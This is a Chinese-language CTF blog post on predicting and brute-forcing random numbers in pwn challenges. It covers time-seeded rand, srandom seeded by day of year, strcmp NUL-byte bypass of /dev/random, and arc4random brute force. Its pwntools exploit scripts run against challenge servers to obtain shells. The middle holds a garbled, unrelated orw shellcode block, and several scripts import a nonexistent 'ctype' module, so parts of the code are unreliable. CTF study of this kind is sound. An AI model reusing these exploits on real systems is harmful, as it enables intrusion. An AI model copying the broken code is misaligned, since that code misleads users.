随机数专题

D0wnBe@t Lv4

什么是伪随机?

对于基本的随机数生成,比如说

1
2
3
srand rand
srandom random
# 位于stdlib头文件里面

这两个函数的随机数生成都基于时间种子seed,通常来说,只要glibc相同,seed相同,那么所生成的随机数就是一样的。

下面简单介绍一下随机数生产的代码

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(void)
{
printf("the first random num is %d\n",rand()%100);
srand(1);
printf("if the seed is 1 , the random num is %d\n",rand()%100);
}
1
2
the first random num is 83
if the seed is 1 , the random num is 83
  • srand(1)中的1代表随机数的种子(seed)

  • 第一个random num和第二次设置随机数种子为1所产生的随机数是一样的,代表着不设置随机数那么默认的随机数种子就是1

伪随机的利用

  • 下图是在Ubuntu22.04的情况下运行同样的代码(上面是在ubuntu24.04运行)

可以发现产生的随机数是相同的,为什么呢?

我们发现虽然是在不同的ubuntu版本,即glibc版本不同的环境下运行,但是程序所利用的libc版本和ld版本相同,算法相同,他们所产生的随机数依旧是相同的,这就是伪随机的概念

  • 所以我们只需要找到相同的libc就可以掌握随机数,但是我们写pwn的脚本是拿python写的,在python下如何模拟c语言产生随机数呢,ctype库
  • 下面展示基本的利用(这篇文章提到过)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from ctypes import *

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") # 本地libc
seed = libc.time(0) # 时间种子,0代表本地时间
libc.srand(seed)

for i in range(10):
num = libc.rand() % 50
print(num)
'''
srand 搭配 rand
srandom 搭配 random
前者安全性差
'''

基本的介绍就到这里,下面看几个例题吧:

例题

srand/rand

题目链接

buildctf 你想成为沙威玛传奇吗

  • 主函数部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
initial(argc, argv, envp);
while ( 1 )
{
menu();
fgets(num, 4, stdin);
switch ( atoi(num) )
{
case 1:
buy();
break;
case 2:
eat();
break;
case 3:
check();
break;
case 4:
thief();
break;
case 5:
beggar();
break;
default:
printf("go out");
exit(0);
}
}
}

乍一看以为是堆题,但其实很简单。

  • 在eat函数中发现,只要Shawarma数量大于99就可以获得shell,而在beggar函数里面发现满足rand() & 1==0,就可以获得Shawarma。
1
2
3
4
5
6
7
8
9
10
11
int eat()
{
int result; // eax

puts(&byte_402190);
result = Shawarma;
if ( Shawarma > 99 )
result = system("/bin/sh");
Shawarma = 0;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 beggar()
{
if ( (rand() & 1) != 0 )
{
puts(&byte_402244);
return (unsigned int)--money;
}
else
{
puts(&byte_402260);
return (unsigned int)++Shawarma;
}
}
  • x from pwn import *context(arch=’amd64’,log_level=’debug’)​#p = process(“./pwn”)p = remote(“challenge.basectf.fun”,30343)​def bug():    gdb.attach(p)    pause()​shellcode = (‘’’   mov rax, 0x67616c662f2e   push rax   mov rsi, rsp   xor rax, rax   xor rdi, rdi   sub rdi, 100   xor rdx, rdx   mov r10, 7   mov rax, 0x101   syscall                 mov rdi,1   mov rsi,3     mov rdx,0   mov r10,0x100   push 40   pop rax   syscall ‘’’)​p.send(asm(shellcode))p.interactive()python
1
2
3
4
5
6
7
8
9
10
void initial()
{
unsigned int v0; // eax

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v0 = time(0LL);
srand(v0);
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from ctype import *
import time
context(arch='amd64',log_level='debug')

p = remote("27.25.151.80",36122)
libc = cdll.LoadLibrary("libc.so.6")
seed = libc.time(0)
libc.srand(seed)

cnt = 0
while (cnt < 100):
p.recv()
num = libc.rand() & 1
if num == 0:
p.sendline(str(5))
cnt += 1
else:
p.sendline(str(4))

p.recv()
p.sendline(str(2))

p.interactive()

srandom/localtime

题目:moectf2024 这是什么?random!

  • 核心点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
timer = time(0LL);
v3 = localtime(&timer);
srandom(v3->tm_yday);
puts("Let's play a number guessing game.");
while ( tests-- )
{
secret = random() % 90000 + 10000;
printf("Guess a five-digit number I'm thinking of\n> ");
fflush(stdout);
__isoc99_scanf("%u", &guess);
if ( guess != secret )
{
puts("Wrong.");
exit(1);
}
puts("Wow, you are right!");
}

下面是关于localtime和tm_yday的解释

代码解释

1
timer = time(0LL);
  • time(0LL) 或者 time(NULL) 返回的是当前的 UNIX 时间戳(从 1970 年 1 月 1 日 00:00:00 UTC 到现在的秒数)。这个时间戳是一个 time_t 类型。
  • timer 变量存储了当前的时间戳。
1
v3 = localtime(&timer);
  • localtime(&timer) 将时间戳 timer 转换为本地时间,并返回一个指向 struct tm 结构体的指针。struct tm 包含了日期和时间的各个组成部分(年、月、日、时、分、秒等)。
  • v3是一个指向 struct tm 的指针,结构体中的一些字段包括:
  • tm_year: 当前年(自 1900 年以来的年数)
  • tm_mon: 当前月(从 0 到 11)
  • tm_mday: 当前日
  • tm_yday: 当前年中的第几天(从 0 到 365)
1
srandom(v3->tm_yday);
  • srandom() 是一个用于初始化随机数生成器的函数,类似于 srand(),但通常在某些系统中提供更强的随机性。它接收一个无符号整数作为种子,后续的随机数生成就基于这个种子。
  • v3->tm_yday 是结构体 tm 中的一个字段,它表示当前日期在一年中的第几天(范围为 0 到 365)。这个值被用来作为种子。
  • 从本地时间中提取当前日期在一年中的第几天(tm_yday)作为随机数种子,算法是一样的模拟即可
  • 后续代码不放出来了,还有两个随便输出什么都行,就可以获得flag了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from ctype import *
import time
context(arch='amd64',log_level='debug')

libc = ELF("/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
elf = ELF("./pwn")
elf1 = cdll.LoadLibrary("/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")

p = remote("192.168.119.52",53889)
p.recvuntil("Let's play a number guessing game.\n")

timer = int(elf1.time(0))
tm = time.localtime(timer)
day_of_year = tm.tm_yday-1 # 这个加一很迷啊
elf1.srandom(day_of_year)

for i in range(10):
p.recvuntil("Guess a five-digit number I'm thinking of\n> ")
p.sendline(str( (elf1.random()%90000) + 10000 ))
#p.recvuntil("Wow, you are right!\n")

# 下面随便输入什么都可以的
p.recvuntil("Guess a five-digit number I'm thinking of\n> ")
p.sendline(str(1))
p.recvuntil("Guess a five-digit number I'm thinking of\n> ")
p.sendline(str(1))
p.recvuntil("You only got two of them wrong, flag still for you.")
p.recv()

什么是真随机

  • 真随机代表着我们无法通过libc去预测、模拟系统产生的随机数是多少
  • 下面模拟一个真随机数产生的过程:

/dev/random获得随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
int main(void){
int fd = open("/dev/random" , O_RDONLY);
if(fd < 0){
perror("Error open /dev/random");
return(1);
}
uint32_t num;
ssize_t result = read(fd, &num , sizeof(num));
printf("Random num is : %u\n", num );
close(fd);
return(0);
}
  • 产生的结果如下:
1
2
ubuntu24.04: Random num is : 2697870537
ubuntu22.04: Random num is : 2754856894

即使libc相同,但是产生的随机数还是不相同的,下面来了解一下/dev/random产生随机数的原理

通过 /dev/random 获取随机数的原理涉及到操作系统的随机数生成机制。/dev/random 是 Linux 和类 Unix 操作系统中的一个设备文件,专门用于生成加密级别的高质量随机数。其工作原理如下:

1. 熵池的概念

  • /dev/random 使用熵(entropy)来生成随机数。熵是系统中不可预测事件的来源,比如键盘输入、鼠标移动、硬盘访问时间等。这些事件的特性难以预测,因此可以作为随机数生成的来源。
  • 操作系统维护一个“熵池”,即收集和存储这些不可预测事件产生的数据。当系统收集到足够的熵时,就可以利用这些数据生成高质量的随机数。

2. 工作流程

  • 当程序读取 /dev/random 时,操作系统会从熵池中提取熵,并使用某种加密安全的伪随机数生成器(CSPRNG)来输出随机数据。
  • 当熵池中的熵不足时(即系统中没有足够的随机事件发生),读取 /dev/random 会阻塞(等待),直到收集到足够的熵。因此,/dev/random 适合需要高安全性、高随机性的应用场景,比如生成加密密钥。

3. 阻塞和非阻塞

  • /dev/random 是阻塞的。当熵池耗尽时,程序会被迫等待,直到系统收集到足够的熵为止,这可能导致延迟。
  • 对应的非阻塞版本是 /dev/urandom/dev/urandom 也使用熵池,但在熵耗尽时不会阻塞,而是继续使用伪随机数生成器生成随机数。虽然这减少了阻塞问题,但在某些极端安全要求下,使用 /dev/random 会更好。

4. 常用场景

  • /dev/random 主要用于加密操作、密钥生成、会话标识符等需要高随机性、无法预测的场景。

总结

通过 /dev/random 获取随机数的核心原理在于熵的采集与使用。系统不断从硬件和系统事件中收集不可预测的行为作为熵来生成随机数,确保生成的数具有高不可预测性,适用于高安全需求的场合。

  • /dev/random通过熵值来获取随机数,而熵值是不可预测的,并且是由于很多因素造成的,因此也造成了它的真随机性,但是我们可以用爆破来求出随机数。

例题

题目:buildctf real_random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+8h] [rbp-18h] BYREF
char s2[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
my_init();
while ( 1 )
{
get_random(s2);
printf("please input your text: ");
read(0, buf, 8uLL);
if ( !strcmp(buf, s2) )
{
printf("Congratulations!!!");
getshell();
}
else
{
puts("No,guess again!!!");
}
}
}

get_random

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall get_random(char *a1)
{
int fd; // [rsp+1Ch] [rbp-4h]

fd = open("/dev/random", 0);
if ( fd < 0 )
{
printf("failed to open the file!");
exit(-1);
}
read(fd, a1, 8uLL);
return close(fd);
}
  • 很明显的/dev/random的真随机,但是难道就没有漏洞了吗?其实不然
  • strcmp关键就在这个函数,遇到\x00就会停止比较,那么我们传入一个p64(0),只要随机数的首字节是\x00,就会比较成功,并且极大的缩短了比较时间。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch='amd64',log_level='debug')

p = remote("27.25.151.80",37097)
#p = process("./pwn")

for i in range(9999):
p.recvuntil("please input your text: ")
payload = p64(0)

p.send(payload)
rev = p.recvuntil(b'\n')
success(f"第{i+1}次,recv{str(rev)}")
if b"Congratulations!!!" in rev:
p.interactive()
break

arc4random

arc4random() 函数

  • arc4random() 是一个用于生成随机数的函数,常见于 BSD 系统,它基于一个称为 ARC4 的加密算法实现。
  • 这个函数不需要任何输入参数,直接返回一个伪随机数,通常是一个 32-bit 的无符号整数。
  • 基本的用法:
1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <stdio.h>

int main() {
// 无需seed直接生成随机数
uint32_t random_number = arc4random();
printf("Random number: %u\n", random_number);
return 0;
}

例题

moectf2024 Catch_the_canary!

  • 只看随机数部分:
1
2
3
4
5
6
7
8
9
10
11
v3 = arc4random(argc, argv, envp);
v4 = v3 - 0xFEFFFFFFFFFFFFLL * ((__int64)((0x4040404040404081LL * (unsigned __int128)v3) >> 64) >> 54);

v8 = (unsigned int)arc4random(argc, 0LL, v4) % 0x2345 + 16768186;
init();
write(1, "Here, my canary, with a cage.\n", 0x1EuLL);
write(1, "[Info] Password required.\n", 0x1AuLL);
while ( (unsigned int)__isoc99_scanf("%u", &v6) == -1 || v8 != v6 )
write(1, "[Error] Wrong! Try again.\n", 0x1AuLL);
write(1, "[Info] Cage opened.\n", 0x14uLL);
write(1, "Oh, but I've got \"cageincage\"\nwhich is impossible to open.\nOne shot.\n", 0x45uLL);
  • 产生的是一个固定的随机数,所以我们只需要爆破即可:
1
2
3
4
5
6
7
p.recvuntil(b'required.\n')

for i in range(0xFFDCBA,0xFFDCBA+0x2345):
p.sendline(str(i))
rev = p.recvuntil(b'] ')
if b"Error" not in rev:
break
  • 标题: 随机数专题
  • 作者: D0wnBe@t
  • 创建于 : 2024-10-14 11:54:21
  • 更新于 : 2024-11-06 13:05:25
  • 链接: http://downbeat.top/2024/10/14/随机数专题/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论